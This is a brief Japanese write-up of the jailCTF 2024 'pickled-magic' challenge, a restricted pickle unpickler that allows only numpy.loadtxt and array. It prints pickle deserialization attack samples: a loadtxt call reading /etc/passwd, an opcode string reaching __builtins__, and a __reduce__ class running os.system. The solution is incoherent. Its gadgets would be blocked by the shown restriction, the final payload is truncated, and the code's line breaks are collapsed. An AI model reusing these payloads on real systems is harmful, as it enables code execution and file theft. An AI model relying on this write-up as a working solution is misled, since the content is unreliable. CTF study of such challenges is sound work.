jailCTF 2024 - pickled-magic
Challenge
pickle を使った制限環境でコードを実行する。
import pickleimport io
class RestrictedUnpickler(pickle.Unpickler): def find_class(self, module, name): # 特定のクラスのみ許可 if module == "numpy" and name in ["loadtxt", "array"]: return getattr(__import__(module), name) raise pickle.UnpicklingError(f"Forbidden: {module}.{name}")
data = input()RestrictedUnpickler(io.BytesIO(data.encode())).load()Solution
numpy.loadtxt の悪用
numpy.loadtxt は converters パラメータで任意の関数を呼び出せる:
import numpy as np
# converters に任意の関数を渡せるnp.loadtxt('/etc/passwd', converters={0: lambda x: print(x)})pickle BUILD オペコード
BUILD オペコードはオブジェクトの __setstate__ または __dict__.update を呼び出す:
c__builtin__getattr(c__builtin__dictS'get'tR(c__builtin__globals(tRS'__builtins__'tR.実際のペイロード
import pickle
class Evil: def __reduce__(self): import os return (os.system, ('id',))
# pickle バイトコードpayload = b"cnumpy\nloadtxt\n(S'/dev/stdin'\nS'rb'\n}"Technical Details
pickle プロトコルの主要オペコード:
| オペコード | 機能 |
|---|---|
c | GLOBAL - モジュールからオブジェクト取得 |
R | REDUCE - 関数呼び出し |
( | MARK - スタックマーク |
t | TUPLE - タプル作成 |
. | STOP - 終了 |
Flag
jail{...}
References
- jailCTF 2024 Official
- Python pickle documentation
- numpy.loadtxt documentation